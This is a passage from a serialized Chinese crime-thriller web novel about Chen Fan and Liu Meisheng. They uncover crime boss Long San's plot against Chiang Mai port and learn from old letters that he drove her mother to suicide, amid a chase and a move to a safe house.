“他不会,我们也不会。”我从背包里拿出那个在清迈橡胶厂捡到的手机,这是龙三爷手下一个雇佣兵的,虽然屏幕碎了,但存储芯片应该还能用。
“刘飞在尝试恢复里面的数据,龙三爷这么大张旗鼓,肯定不只是为了你,他肯定还有别的什么原因,只是现在我们不清楚。”
“你也这么想?”柳媚笙眼睛一亮,走回床边坐下,说道:“我也觉得不对劲,那些把柄虽然致命,他没必要为了这个亲自出马,还闹出这么大动静。”
“除非……”我看向她,道:“除非他来清迈,有更重要的事情要做!”
柳媚笙的脸色诧异,我的话算是提醒了她。
“陈凡,你的意思是,龙三爷来清迈,不是为了龙小玉?而是其他的原因!”
“是!我怀疑!”
“你父亲当年在金三角做生意,接触的人鱼龙混杂,如果龙三爷手里有能够牵动更多人的东西,那就不只是你一个人的麻烦了。”
她沉默了几秒,然后深吸一口气。
“我需要联系我在曼谷的人,有些东西,可能在我父亲留下的旧物里,我一直没敢仔细看。”
“现在不行。”我摇头道:“龙三爷肯定监视着你所有的关系网,你现在一动,他就会知道。”
“那怎么办?坐以待毙?”柳媚笙有些不甘心的说道。
“等,等刘飞恢复手机数据,等周老爷子那边的消息,等……”我停顿了一下,道:“等龙三爷先动,他只要一动,我们就清楚他的动机了。”
柳媚笙盯着我看了很久,然后突然笑了,那笑容里有一种认命般的释然。
“你笑什么?”我问。
“陈凡,你知道吗?有时候我觉得,你比我更适合在这个黑暗的世界里生存。”
我笑着问:“为什么这么觉的?”
“因为你够冷,够狠,够有耐心,最重要的是……你不在乎。”
“不在乎什么?”我问道。
“你不在乎会不会死,不在乎手上沾多少血,不在乎,最后会变成什么样的人。”
柳媚笙抽了一口烟,叹了一口气道:“我不行,所以我总是瞻前顾后,总是算来算去,最后还是把自己算进了死局。”
她伸出手,轻轻碰了碰我手臂上的纱布。
“但你不一样,你就像是一个从地狱里爬出来的修罗,没有牵挂,就没有弱点。”
我没有反驳,她说得对,也不全对,我没有告诉她,在清迈的丛林里,背着她逃跑的时候,在诊所的走廊里,看着她痛哭的时候,我并不是完全不在乎。
有些东西,一旦在心里生了根,就再也拔不掉了。
只是现在,我还不是说这些的时候,这可能就是男人和女人的区别,女人可以在任何时候感性,可男人,在危机之时,只有理性。
楼下传来脚步声,然后门口传来了刘飞的声音:“凡哥,外面有进展了。”
我和柳媚笙对视一眼,迅速起身下楼。
客厅里,刘飞已经在一张桌子上摆开了设备,上面有几台笔记本电脑、数据线、一个拆开的手机,大屏幕上滚动着密密麻麻的数据流。
“芯片里的数据恢复了一部分。”刘飞指着屏幕道:“通话记录、短信、还有一些加密文件,通话记录里有个号码最近联系频繁,我查了一下,是缅甸那边的。”
“缅甸?”柳媚笙皱眉,道:“龙三爷的势力主要在金三角和泰国北部,缅甸那边他很少插手。”
“除非……”我看着屏幕道:“他不是为了自己。”
刘飞敲了几下键盘,调出一个文件,道:“这是恢复的部分聊天记录,加密得很厉害,我只破译了片段,但关键词很明显。”
他指着屏幕上的一个词,清迈港。
柳媚笙的脸色瞬间变得苍白。
“清迈港……那是周家和另外几个家族控制的走私通道。”她看向我不解道:“龙三爷想抢这条线?”
“不止。”刘飞又调出一张模糊的照片,看起来是从监控录像截取的,道:“这是手机相册里的,虽然糊,但能看出来,这是清迈港的布局图,还有守卫换班时间。”
刘飞恢复的数据,让我们三个人都沉默了,大家都在思考,龙三爷真正的目的到底是什么!
“所以龙三爷来清迈,根本就
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不是为了龙小玉,他是为了这些?甚至是我父亲的那些把柄。”柳媚笙的声音有些发抖,道:“他是为了清迈港,而我只是一个幌子?或者说,一个顺带解决的目标?”
“很有可能。”我说道:“他**你,或者杀了你,制造混乱,吸引各方注意力,同时他真正的人手会趁机夺取清迈港的控制权,玩了一手一石二鸟。”
柳媚笙跌坐在椅子上,手扶着额头。
“所以达叔……达叔是白死的?我只是龙三爷棋盘上的一颗棋子,甚至连主要目标都不是?”
这个事实,让柳媚笙非常的痛苦。
我走到她面前,蹲下身,强迫她看着我。
“媚笙,你听着。”我的声音很平静却凶狠道:“不管龙三爷最初的目的是什么,他杀了达叔,杀了周家的人,把你逼到绝境,这是事实,而你所以我们的目标没有变,那就是杀了他!”
她看着我,眼睛里有泪光在闪动,但这一次,她没有让眼泪掉下来。
“你说得对。”她慢慢直起身,擦了下眼角,眼神重新变得冰冷而锐利道:“不管是为了什么,龙三爷必须死,清迈港的事,我们必须告诉周老爷子。”
“已经通知了。”刘飞说道:“老爷子回话了,他会加强港口的防卫,同时……”他看向我道:“他希望我们能留在曼谷,找出龙三爷在城内的据点,老爷子怀疑,龙三爷在曼谷有内应。”
柳媚笙冷笑一声:“当然有内应,没有内应,他怎么可能对我的行踪了如指掌,怎么可能在清迈设下那样的陷阱。”
她站起身,走到窗边,又透过缝隙看向外面。
“陈凡。”她没有回头,“如果我们这次能活下来,如果我拿回了父亲的东西,如果……如果我们都报完了仇。”
她停顿了很久。
“你会去哪里?”
这个问题来得突然。我看着她的背影,那个单薄却挺得笔直的背影,在晨光中镀上一层淡淡的金边。
“还没想过。”我如实回答。
她转过身,对我笑了笑,那笑容很淡,但很真实。
“那等我们都活下来,再想吧。”
261柳媚笙的母亲(上)!
第二天早上,厨房早早做好了饭。
刘飞吃的很快,他吃完后又回到那堆电子设备前,然后两个秘卫轮换着来吃饭,他们眼睛始终没离开窗户和门。
我喝完最后一口汤,放下勺子,看向柳媚笙说道:“这段时间你好好休息,真正的战斗可能随时开始,你必须保持体力。”
她抬起头,眼神复杂地看了我一眼。
“我睡不着。一闭上眼睛就是达叔的画面。”
“那就躺着,闭上眼睛,什么也别想。”
“你说的容易。”她扯了扯嘴角,那笑容里没有笑意。
忽然,楼下传来一声尖锐的刹车声。
我和刘飞立刻提高了警惕,我挥了挥手,刘飞的手按在腰间的枪上,两个秘卫悄无声息地移动到窗边,透过窗帘的缝隙向外看。
巷子里传来一阵喧哗,是泰语的叫骂声,还有摩托车的轰鸣,听了一会儿,似乎只是普通的邻里争吵。
刘飞松开握枪的手,对我们摇了摇头道:“凡哥没事,就是两辆摩托车发生口角。
“我吃不下。”她说。
我没有强迫她吃饭,她经历过那种场面,能吃得下饭才奇怪。
阿南从厨房出来,默默收拾碗筷,这个泰国女人从我们进来就没说过几句话,但做事麻利,眼神里有一种看透世事的平静,我有注意到她的右手虎口有厚厚的老茧,那是长期握枪留下的。
我才发觉,周老给我安排的这个安全屋,还有这里的人,都不简单。
早饭后,柳媚笙上了楼,我让刘飞继续盯着数据恢复,自己则开始检查整栋房子的安全状况。
排屋有三层,每层都有前后两个房间,楼梯在中间。一楼除了客厅厨房,还有个储藏室,里面堆着些杂物。二楼是我和柳媚笙的房间,三楼是另外两个秘卫的休息处,屋顶有个小小的天台,从那里可以看到整条巷子和部分街景。
我上到天台,看到巷子狭窄曲折,楼下几个孩子在不远处追逐嬉戏,老人坐在门前的塑料椅子上摇扇子。
这种地方最适合隐藏和伏击。错综复杂的巷子网络,密集的居民,随便哪扇门后面都可能藏着敌人。
我在天台边缘蹲下,从背包里掏出一个小型望远镜,开始观察周围的制高点。对面有一栋五层高的公寓楼,窗户大多拉着窗帘。右侧有一家小旅馆的招牌,四层。左侧是寺庙的金色尖顶,在阳光下闪闪发光。
如果我是龙三爷,我会在那栋公寓楼里布置狙击手,旅馆里安排观察哨。
“看什么呢?”
柳媚笙的声音从身后传来。我转头,看到她穿着那件过大的T恤走上天台,头发随意扎在脑后,露出苍白的脖颈。
“你怎么上来了?不是让你休息吗?”
“躺不住。”她走到我身边,也蹲下来,学我的样子看向对面的公寓楼,道:“你在找狙击点?”
“嗯。”
“找到了吗?”
“三处可疑的。”我指了指公寓楼四层的一个窗户,那里的窗帘拉得很严实,但边缘有细微的晃动,“那里可能有人,还有旅馆三楼最右边那个房间,窗户开了一条缝。寺庙的钟楼,虽然看不到里面,但位置太好。”
柳媚笙顺着我指的方向看去,眯起眼睛。
“你眼睛真好。”
“练出来的。”
我们沉默了一会儿,肩并肩蹲在天台边缘。
“陈凡。”她突然开口,道:“如果这次我们真的活下来了,你真的没想过以后要做什么吗?”
这已经是一天内她第二次问这个问题了。
我想了想,决定说道:“我现在只想回去,活着回去见夏颜和孩子。”
“夏颜……”柳媚笙轻声重复这个名字,语气听不出情绪,道:“她是个好女孩。至少对你,她是真心的。”
“我知道。”
“那你对她呢?也是真心的吗?”
我转过头看她。她的侧脸在阳光下有些透明,睫毛很长,在脸颊上投下淡淡的阴影。这个问题问得很认真,不像是在试探,更像是在确认什么。
“我不知道。”我如实回答,“最开始是合作,是互相利用。后来……她帮了我很多,也为我冒了很大的风险。但那种感觉,和对你……”
我没说完。有些话,说出来就收不回去了。
柳媚笙也没有追问。她只是轻轻“嗯”了一声,继续看着远处的街景。
楼下突然传来刘飞压低的喊声:“凡哥!
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有情况!”
我们对视一眼,迅速起身下楼。
客厅里,刘飞指着电脑屏幕,脸色凝重。
“凡哥,我刚恢复了一份加密文件,是龙三爷和一个缅甸军阀的通信记录。他们在计划一次大规模的**运输,时间就在三天后,路线经过清迈港。”
柳媚笙凑过去看屏幕,眉头紧皱。
“那龙三爷现在应该在全力准备这件事,为什么还要分心来追杀我们?”
“除非……”我盯着屏幕上的文字,道:“你有他必须灭口的理由,比如,你知道这次运输的某些关键细节。”
柳媚笙摇头:“我不知道,父亲留下的那些把柄,主要是他早年在金三角的一些,不太合法的交易记录,还有一些政府官员收**赂的证据,和**运输无关。”
“再看看其他文件。”我对刘飞说道:“有没有提到具体的时间、地点、参与人员?”
刘飞快速滚动页面,突然停住。
“这里提到了一个代号,‘**’,说‘**’会负责在曼谷的接应工作。”
“‘**’……”柳媚笙低声重复,脸色突然变得极其难看。
“你知道这个代号?”
她抬起头,眼神里有一种难以置信的神色。“‘**’是我母亲生前最喜欢的一件首饰,一串**项链,父亲在她去世后一直珍藏,后来失踪了。”
“你怀疑这个‘**’和你母亲有关?”我问。
“我不知道……”柳媚笙的声音有些发抖,道:“但如果这个代号真的和我母亲有关,那龙三爷手里的把柄,可能比我想象的还要致命。”
她跌坐在椅子上,手扶着额头。
“我需要联系我在曼谷的人。我父亲去世后,他的一些旧物都存放在一个老朋友那里,我必须去看看。”
“太危险了。”刘飞立刻反对,“龙三爷肯定监视着你所有的关系网。”
“那也得去。”柳媚笙的语气斩钉截铁,道:“如果这件事真的牵扯到我母亲,那我就更不能坐视不管。我母亲,她死得不明不白,我一直怀疑和父亲生意上的事有关,如果龙三爷手里有证据……”
她没有说下去,但眼神里的决绝已经说明了一切。
262柳媚笙的母亲(下)!
我看着柳媚笙,我知道自己劝不了她,有些人,有些事,是哪怕死也要弄清楚的,就像她对母亲死因的执念。
“地址在哪?”我问。
柳媚笙看向我,眼睛里有感激,也有担忧。
“陈凡,你真的要跟我一起去?”
“不然呢?让你一个人去送死?”
她咬了咬嘴唇,报出一个地址道:“是隆路附近的一条小巷,一家叫‘时光记忆’的古董店,店主叫陈伯,是我父亲几十年的朋友。”
刘飞立刻在电脑上搜索这个地址。
“凡哥,确实有这个地方,那是曼谷市中心,人多眼杂,去那里风险很大。”
“所以才要尽快,在龙三爷反应过来之前我们必须到达,刘飞,你留在这里,继续恢复数据,保持和周老爷子的联系,你们两个一个那个我去,一个在这里加强警戒。”
我立刻下达了指令,将所有的人员都分配好。
“凡哥,还是我去吧。”刘飞说道:“你留在这里更安全。”
“不,我得去。”我看向柳媚笙,坚定道:“她需要我。”
我的这句话说得很平淡,但客厅里的空气似乎凝滞了一瞬。柳媚笙看着我,眼睛里有什么东西在闪烁,然后迅速移开了视线。
我确定行动计划,我和一个叫阿坤的秘卫陪柳媚笙去古董店,刘飞和另一个秘卫留守。
我们换上阿南准备的当地人的衣服,花衬衫、宽松的裤子、人字拖,尽量不引人注目。我们的武器藏在衣服里,我们每人只带一把**和两个弹匣,轻装上阵。
阿南从储藏室推出两辆破旧的摩托车。
“陈哥,骑这个去,不显眼,汽车目标太大。”
我和阿坤检查了摩托车,油是满的,车况还行。柳媚笙坐在我后面,手臂轻轻环住我的腰,她的身体贴得很近,能感觉到她的呼吸喷在我的后颈上。
“准备好了吗?”我问。
“嗯。”她的声音很轻,但很坚定。
阿南打开铁门,我们骑着摩托车驶入巷子。上午的阳光刺眼,空气燥热。巷子里的居民投来好奇的目光,但很快就移开了,在曼谷,两个男人骑摩托车载着一个女人,再普通不过。
我们汇入主干道的车流,摩托车在汽车和突突车之间灵活穿行,柳媚笙的手臂收紧了些,我能感觉到她身体的僵硬。
“放松。”我低声说道:“越紧张越容易被人看出来。”
“我知道。”她把脸贴在我背上,声音闷闷的,“只是很久没这样出来了,坐在摩托车后座,感觉像个普通人一样。”
我没有接话,普通人?或许我们早就不是了。
十几分钟后,我们来到古董店。
这个店面很小,橱窗里摆着些瓷器、铜器和旧钟表,玻璃上蒙着一层薄灰,门口挂着一个铃铛,推门时会发出清脆的响声。
我们停好摩托车,没有立刻进去,我让阿坤在巷口望风,自己陪着柳媚笙走向店门。
推门进去时,铃铛响了。
店里光线昏暗,空气中弥漫着木头、灰尘和旧纸张混合的气味,柜台后面坐着一个头发花白的老人,他戴着老花镜,正在修补一个瓷瓶,听到铃声,他抬起头,看到柳媚笙的瞬间,手一抖,瓷瓶差点掉在地上。
“柳……柳小姐?”老人的声音沙哑而震惊。
“陈伯,是我。”柳媚笙走过去,声音很轻,道:“好久不见。”
陈伯颤颤巍巍地站起来,绕过柜台,握住柳媚笙的手,老眼里泛起泪光。
“真的是你?外面都在传你出事了……”
“我没事。”柳媚笙安抚地拍拍他的手,“陈伯,我这次来,是想看看父亲留在您这里的东西。有些事我必须弄清楚。”
陈伯的脸色变了变。他警惕地看了我一眼,又看向门外。
“放心,陈伯,他是我的人。”柳媚笙说。
陈伯犹豫了一下,最终还是点了点头。“跟我来。”
他领着我们穿过店面,推开一扇后门,里面是个小小的储藏室,堆满了各种箱子和旧物,陈伯挪开几个箱子,露出后面的一道暗门,用钥匙打开。
里面是个更小的房间,只有一张桌子和几个铁皮柜,陈伯打开其中一个柜子,取出一个木盒,递给柳媚笙。
“你父亲当年交代过,如果你有一天来取,就把这个交给你,他说这里面的东西,可能会让你知道一些你一直想知道的事情。但他也说了,知道真相未必是好事。”
柳媚笙接过木盒,手在微微颤抖。木盒很旧了,锁已经锈蚀,她深吸一口气,打开了盒子。
里面没有多少东西:几封泛黄的信,几张老照片,还有一串**项链。
柳媚笙拿起项链,手指摩挲着那些温润的红色珠子,眼泪毫无征兆地掉了下来。
“这是我母亲的……”她的声音哽咽。
我拿起一封信,信封上没有署名,我抽出信纸,上面是娟秀
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的字体,这封信的内容不长。
“文山:如果你看到这封信,说明我已经不在了,不要追查我的死因,不要为我报仇。有些事,知道得越少,活得越久,照顾好我们的女儿。还有,小心龙三,他想要的从来不只是钱。”
信末没有署名,只有一个日期,正是柳媚笙母亲去世前一周。
柳媚笙也看到了信的内容,她的脸色白得像纸,手抖得几乎拿不住信纸。
“所以我母亲的死,真的和龙三爷有关?”她的声音有些脆弱道:“我父亲一直都知道,但他什么都没说?”
陈伯叹了口气,苍老的声音在狭小的房间里回荡:“你父亲当年也很痛苦,但他没办法。龙三爷的势力太大,手里握着的把柄太多,他能做的,只有把你母亲留下的这些东西藏起来,希望有一天你能知道真相,但又希望你永远不要知道。”
柳媚笙跌坐在椅子上,木盒里的东西散落一地。照片上是年轻时的母亲,笑靥如花,脖子上正戴着那串**项链。还有一张合影,母亲站在父亲身边,身后是金三角的山峦,而角落里,一个模糊的身影——虽然看不清楚,但那姿态和轮廓,像极了年轻时的龙三爷。
所有的碎片在这一刻拼凑起来。
龙三爷和柳家的恩怨,不是从父亲开始的,而是更早。早到母亲那一代。那些把柄,那些秘密,那些年深日久的仇恨……
“我们得走了。”我突然说,一股不祥的预感涌上心头。
几乎在我说完的同时,门外传来阿坤压低的声音:“凡哥,有情况!巷口来了两辆车,下来七八个人,朝这边来了!”
陈伯的脸色瞬间变了。“快走!从后门!”
他拉开储藏室的另一扇门,外面是另一条更窄的巷子。柳媚笙手忙脚乱地把东西塞回木盒,抱在怀里。我拉着她冲出后门,阿坤紧随其后。
我们刚跑出巷子,就听到古董店方向传来砸门的声音,还有泰语的呵斥。
龙三爷的人,到底还是找来了。
摩托车就在前面,我骑上去启动引擎,柳媚笙跳上后座,阿坤骑上另一辆,引擎轰鸣,我们冲进主干道的车流。
我看了看后视镜,我看到几个黑衣男人从巷子里追出来,其中一个人拿起对讲机在说什么。
“媚笙,抱紧我!”我大喊了一声。
柳媚笙紧紧抱着木盒,也紧紧抱着我,她的脸贴在我背上,眼泪浸湿了我的衬衫……
263情书(上)!
摩托车在飞速疾驰,柳媚笙的手臂紧紧环着我的腰,她怀里的木盒硌在我背上,每一次颠簸都传来沉闷的撞击声。
我看了一眼后视镜,那两辆黑色的丰田越野车死死咬在后面,跟我的距离正在缩短。
“他们追上来了!”阿坤在我侧后方喊道。
“看见了!”我喊道!
“左转!”我大吼,猛地拧转车把,摩托车几乎贴着地面拐进一条狭窄的巷子,摩托车的轮胎在潮湿的水泥地上打滑,柳媚笙惊叫一声,然后紧紧的抱住了我!
这条巷子很窄,勉强能容一辆汽车通过,巷子两侧是高高的围墙,摩托车在坑洼的路面上颠簸跳跃,柳媚笙怀里的木盒差点飞出去。
“抓紧盒子!”我喊道。
因为巷子太窄,越野车在巷口急刹,他们进不来。但下一秒,车门打开,四个黑衣男人跳下车,拔腿追来,其中一人举起了**。
**在狭窄的巷子里炸开,回声震耳欲聋,后面的**打在身后的围墙上,碎石飞溅,阿坤回身还击,**在颠簸中难以瞄准,**打空了。
“别停!快走!”我猛催油门,摩托车像离弦的箭一样向前冲。
巷子前方出现一个岔路口,左边继续延伸,右边是死胡同。我毫不犹豫地拐进左边,轮胎在湿滑的路面上再次打滑,摩托车几乎失控,我拼命稳住车把,膝盖擦着地面划过,火辣辣的疼。
柳媚笙的呼吸急促地喷在我后颈上,她的心跳隔着薄薄的衬衫传来,快得像要炸开。
“陈凡……盒子……”她喘息着说。
“抓牢!”我大喊道。
前面的巷子开始变宽,不远处出现一个集市。
下午的集市人来人往,我的摩托车冲进人群,引起一阵惊呼和咒骂,我拼命按喇叭,但人群太密,速度不得不慢下来。
我马上回头看去,追兵已经赶到岔路口,他们也慢了下来,但仍在人群中艰难穿行,其中一人举起对讲机说着什么,眼神凶狠地锁定我们。
“他们有人在前面堵截!”柳媚笙突然喊道。
我看向前方,集市出口处,另外两个黑衣男人正从一辆摩托车上跳下来,堵住了去路。
码的!前后夹击!
“坐稳了!”我咬牙,摩托车猛地拐向一侧,冲进一个卖水果的摊位。
水果摊被我撞飞,摊主愤怒的叫骂被我甩在身后,我的摩托车差点摔倒,但最终还是冲出了摊位,拐进另一条更窄的小巷。
我骑着摩托车在杂物间左冲右突,柳媚笙惊叫着躲闪迎面飞来的塑料袋和纸箱。后方传来追兵的脚步声和叫喊声,他们已经弃车徒步追来,距离在拉近。
巷子尽头是一堵高墙。
死路!
我急刹,摩托车在湿滑的地面上滑行数米才停下,柳媚笙差点飞出去,被我一把拉住,阿坤也停在我们旁边,喘着粗气,**对准来路。
“没路了!”他的声音嘶哑。
我迅速扫视四周,高墙大约三米,墙头插着碎玻璃。左侧是一栋破旧的排屋,门窗紧闭,右侧堆着几个生锈的铁桶和废弃的家具。追兵的脚步声越来越近,至少六个人,可能更多。
“上墙!”我果断地说,然后跳下摩托车,蹲下身催促道:“踩着我的肩膀!”
柳媚笙愣了一下,随即明白了我的意思。她把木盒塞进怀里,用牙咬着下唇,踩上我的肩膀。我猛地起身,她借力向上跃,手指勉强够到墙头。碎玻璃划破了她的手,鲜血直流,但她咬牙没松手,奋力翻了上去。
“阿坤,快!”
阿坤最后一个,他刚踩上我的肩膀,追兵就出现在巷口。**响起,**打在墙上,溅起火星。阿坤闷哼一声,右腿中弹,但他还是翻了上去,然后伸手来拉我。
我的手刚够到阿坤的手,身后的**再次响起。这次更近。我能感觉到**从耳边呼啸而过。
我用力一蹬墙面,身体向上跃起,阿坤拼命拉扯,我的上半身终于趴上墙头,碎玻璃深深扎进手臂和腹部,但我顾不上疼。
墙的另一边是个废弃的工厂院子,杂草丛生,堆着生锈的机器,柳媚笙已经在下面,仰头看着我们,脸色惨白。阿坤先跳下去,落地时右腿一软,差点摔倒。我紧随其后,翻身跳下,落地时一个翻滚卸力,但腹部的伤口被撕裂,疼得我倒抽一口冷气
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墙那边传来叫骂声和撞击声,他们在撞那栋排屋的门,想从里面翻墙过来,但至少能拖延几分钟。
“这边!”柳媚笙扶起阿坤,指向工厂深处。
我们跌跌撞撞地跑进工厂车间!
“你的伤……”柳媚笙看着我腹部渗出的血迹,声音颤抖。
“没事。”我撕下衬衫下摆,胡乱缠在伤口上,打了个死结,道:“阿坤的腿需要处理。”
阿坤靠在一台机器上,脸色苍白,右腿裤管已经被血浸透,柳媚笙蹲下身,从自己衣服上撕下布条,开始给他包扎,她的手在抖,但动作还算熟练。
我走到车间门口,透过门缝向外看,院子里还没有人翻过来,但能听到墙那边的动静,他们很快就会发现撞错了门,然后从正门绕进来,这个工厂只有一个出入口,我们被困**。
“陈凡。”柳媚笙轻声叫我。
我回头,她已经给阿坤包扎好伤口,正坐在地上,怀里抱着那个木盒。
“我想看看盒子里还有什么。”她说,声音平静得可怕,“如果……如果今天我们都死在这里,至少我要知道真相。”
我想阻止她,但话到嘴边又咽了回去,她说得对。如果我们逃不出去,至少让她死得明白。
我走回她身边,蹲下身,阿坤也挣扎着坐直,**放在腿上,警惕地盯着门口。
柳媚笙打开木盒,先拿出那串**项链,轻轻放在地上。然后拿出那几封信,除了我们刚才看过的那封,还有三封。信封都很旧了,边缘磨损,但保存得很仔细。
她打开第一封。信纸比刚才那封更黄,字迹也更稚嫩,看起来是很多年前写的。
“柳大哥:见字如面,三爷昨日又来了,说要带我去仰光看戏,我不敢去,但他说如果不去,就让人砸了家里的铺子,父亲气得病了,母亲整日以泪洗面。我不知该如何是好,你在清迈的事办得顺利吗?何时能回来?我很想你。”
信末署名只有一个字:“兰”。
柳媚笙的手开始发抖。
“兰……这是我母亲的小名,这封信……是她写给我父亲的,那时候他们还没结婚。”
264情书(下)!
她颤抖着打开第二封,这封信的笔迹更成熟些,但字里行间透着急促和恐惧。
“柳哥:三爷昨夜喝醉了,闯进我房里。幸亏阿达在,把他赶了出去,但三爷放下狠话,说如果我不从了他,就让你们在清迈的货永远出不去,我知道你在那边投了很多钱,不能因为我毁了,我想好了,明天就跟三爷去仰光,别找我,也别怪自己,这都是命。”
信末没有署名,只有一滴干涸的泪痕,在泛黄的信纸上晕开一片深色。
柳媚笙的眼泪大颗大颗地掉下来,砸在信纸上。她咬着嘴唇,不让自己哭出声,但肩膀剧烈地颤抖着。
第三封信最短,只有几句话,笔迹潦草,像是匆忙写就。
“柳哥:我回不去了,三爷手里有照片,还有我签的字据。他说如果我把事情说出去,就把照片寄给报社,让你身败名裂,对不起,对不起,对不起。照顾好自己,也照顾好我们的女儿,别告诉她我是**的,就让她以为我是病死的。这样她至少不会恨这个世界。”
信纸的右下角有一个模糊的口红印,形状像一颗破碎的心。
柳媚笙再也控制不住,整个人蜷缩起来,脸埋在膝盖里,发出压抑的、撕心裂肺的哭声。
我伸出手,想拍拍她的背,但手悬在半空,最终还是收了回来,有些痛苦,只能自己承受,有些眼泪,只能自己流干。
阿坤别过脸去,眼圈也红了。
车间的光线在不知不觉中暗了下来。窗外传来鸟叫声,还有远处街道的车流声。世界还在正常运转,仿佛这个废弃工厂里的痛苦和真相,与它毫无关系。
不知过了多久,柳媚笙的哭声渐渐平息。她抬起头,脸上泪痕交错,眼睛红肿,但眼神里有种烧干眼泪后的清明和决绝。
“所以……”她的声音嘶哑得像砂纸摩擦,“我母亲不是病死的。是被龙三爷逼死的。因为他要占有她,因为她不从,因为他用父亲的前程和名誉威胁她……所以她选择了死。”
她拿起那串**项链,紧紧攥在手心,珊瑚珠子硌进肉里,血从指缝渗出来。
“父亲瞒着我,他什么都知道,但他什么都没说,他让龙三爷继续逍遥法外,让他继续用那些把柄威胁我们,让让他最后连达叔也杀了。”
她的声音越来越冷。
“陈凡,你说得对,我们不会死在这里。”她看着我,眼神里燃烧着地狱的火焰,“我们要活着出去。我要亲手杀了龙三爷,不是为了柳家的产业,不是为了父亲的名声。是为了我母亲,为了达叔,为了那些被他毁掉的人生。”
就在这时,车间外传来脚步声。
很轻,但很密集,不止一个人。
阿坤立刻举起枪,我拔出腰间的**,示意柳媚笙躲到机器后面,她迅速收起信件和项链,抱着木盒躲到一台巨大的冲床后面。
脚步声越来越近,在车间门口停下。
然后门被推开了!
四个人,呈战术队形进入,手里的枪在昏暗的光线下闪着冷光。
不是龙三爷的人。
是周家秘卫。
领头的是个三十岁左右的精悍男人,我认识他,周家秘卫第二小队队长,林峰。他扫视车间,看到我时明显松了口气。
“陈先生,柳小姐,你们没事吧?”林峰快步走过来,道:“周老爷子收到你们的求救信号,立刻派我们过来,外面的人已经清理了,六个,都解决了。”
我放下枪,紧绷的神经终于松弛下来,腹部的伤口顿时传来撕裂般的剧痛,柳媚笙从机器后面走出来,怀里的木盒抱得更紧。
“谢谢。”我对林峰说。
“应该的。”林峰看向受伤的阿坤,对身后的人做了个手势,道:“快,送伤员去诊所。车就在外面。”
两个秘卫上前扶起阿坤,柳媚笙走到我身边,看着我腹部的伤口,眉头紧皱。
“你也在流血。”
“皮肉伤。”我说,但额头上已经渗出冷汗。
林峰从背包里拿出医疗包,迅速给我做了简单的止血处理。“陈先生,这里不安全,龙三爷的人随时会来增援,我们必须马上离开曼谷。周老爷子已经安排了去芭提雅的路线,那里有更安全的安全屋。”
我看向柳媚笙,她点点头,眼神坚定。
芭提雅是海滨城市,这里游客多,容易隐藏,更重要的是,那里有周家更稳固的势力。
我们跟着林峰走出车间,我看到工厂院子里躺着几具尸体,都是刚才追我们的黑衣男人。
我不得不感慨,这才是周家秘卫的实力,一击毙命。
两辆黑色的越野车停在工厂外,阿坤被扶上第一辆,柳媚笙和我上了第二辆,林峰亲自开车,另外两个秘卫坐在前后排警戒。
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>车子发动,柳媚笙靠在我肩上,她的手里还攥着那串**项链。
“陈凡。”她轻声说。
“嗯。”
“等杀了龙三爷,等我拿回了所有东西,我想去祭拜我母亲,我从来不知道她葬在哪里,但我想至少在她最喜欢的海边,给她立个衣冠冢。”
“好。”
“你会陪我去吗?”
“会。”
她转过头,看着我,眼睛在昏暗的车内光线下闪着微光。
“谢谢你……”
晚上,芭提雅。
我们的车开到了芭提雅的北郊,这里有一个安全的地方,是一个在茂密树林里的双层别墅。
林峰将车驶进车库,这个院子不大,但植被茂密,围墙高耸,监控摄像头遍布在周围,将所有的角落都给监控下来。
“周老爷子在这里常备三个人手。”林峰熄了火,回头对我们说道:“他们都是信得过的,这里补给充足,医疗用品也有,陈总,你们先在这里休整,老爷子那边一有龙三爷的动向,我会立刻通知。”
我点点头,推开车门,犹豫我腹部有伤口,我每动一下都像有钝刀在里面搅。柳媚笙跟在我身后下车,手里还抱着那个木盒,指尖攥得发白。
林峰安排的人是个四十多岁的中年男人,自称老韩,面相憨厚,眼神却精明得很,他不多话,带我们看过二楼的房间,然后指了指走廊尽头的浴室,说热水二十四小时都有,然后便消失在楼下。
柳媚笙选了走廊最里侧的房间。我住她隔壁。两个房间都不大,陈设简单,但胜在干净,窗户正对着院子外的椰子树,再远处是夜色下墨黑的海。
我走进房间,关上门,终于能卸下那一身紧绷。背包扔在地上,人坐到床边,腹部传来一阵尖锐的疼痛。我低头检查伤口,林峰处理得很专业,纱布上只有少量渗血,但衬衫已经没法穿了,撕掉下摆包扎阿坤的腿,又被碎玻璃划破了好几处,血污混着汗水,皱成一团破布。
我脱掉上衣,从背包里翻出一件干净的黑色T恤,刚套上头,房门被轻轻敲响。
拉开门,柳媚笙站在门口。
她已经洗过脸,头发重新扎好,露出苍白的脖颈和耳后一小块蹭破的皮,但怀里的木盒还在,她就像抱着什么不能离身的圣物。
“怎么了?”
“睡不着,想过来看看你。”
265柳媚笙的脆弱(上)!
我没有问她为什么睡不着,因为今夜没有人能睡着。
柳媚笙站在门口没动,也没说进来,就那么看着我。走廊的灯在她身后,在她轮廓边缘镀上一层模糊的光边,但脸上是逆光的阴影,看不清表情。
我侧身,让出门口。
她走进来,在床边的椅子上坐下,把木盒放在膝上。我关上门,在床沿坐下,和她隔着半米的距离。
这个房间很安静,静的能听见远处海浪的声音,还有椰树叶在夜风里沙沙的响。
柳媚笙她低着头,手指无意识地摩挲着木盒的边缘,月光在她低垂的睫毛上镀了一层霜,这一刻,我看着她,我的心莫名的疼了。
我一直以为她是孤儿,和阿战一起长大,没想到,她还有这样的身世,柳媚笙很可怜,前半生活在为阿战复仇的阴影里,现在,又活在为母亲复仇的阴影里。
“陈凡。”她忽然开口。
“嗯。”
“你会不会觉得我很没用?”
我转头看她。
她依然低着头,声音平静得像在说别人的事。
“遇到龙三爷,我第一个念头是逃,达叔**,我只知道哭,拿到那些信,我哭得连路都走不动,从头到尾,我都在拖累你,如果没有我,你们早就回曼谷了,阿坤不会受伤,你也不会……”
“你今天杀了人。”我打断她。
她抬起头,眼睛微微睁大。
“在古董店后巷,你开了两枪。第一枪打空了,第二枪打中了追在最前面那人的肩膀。”我看着她的眼睛,道:“第一次开**人,你手没抖,枪没歪,打完没吐,很多人做不到。”
她怔怔地看着我,半晌没说话。
“所以你没拖累我。”我安慰道:“你只是还没习惯。”
柳媚笙低下头,她眼睫毛微微颤动,她似乎是在想些什么事情,我感觉我的话,勾起了她的回忆。
“其实……”她的声音很轻道:“这不是我第一次**。”
我等着她说下去。
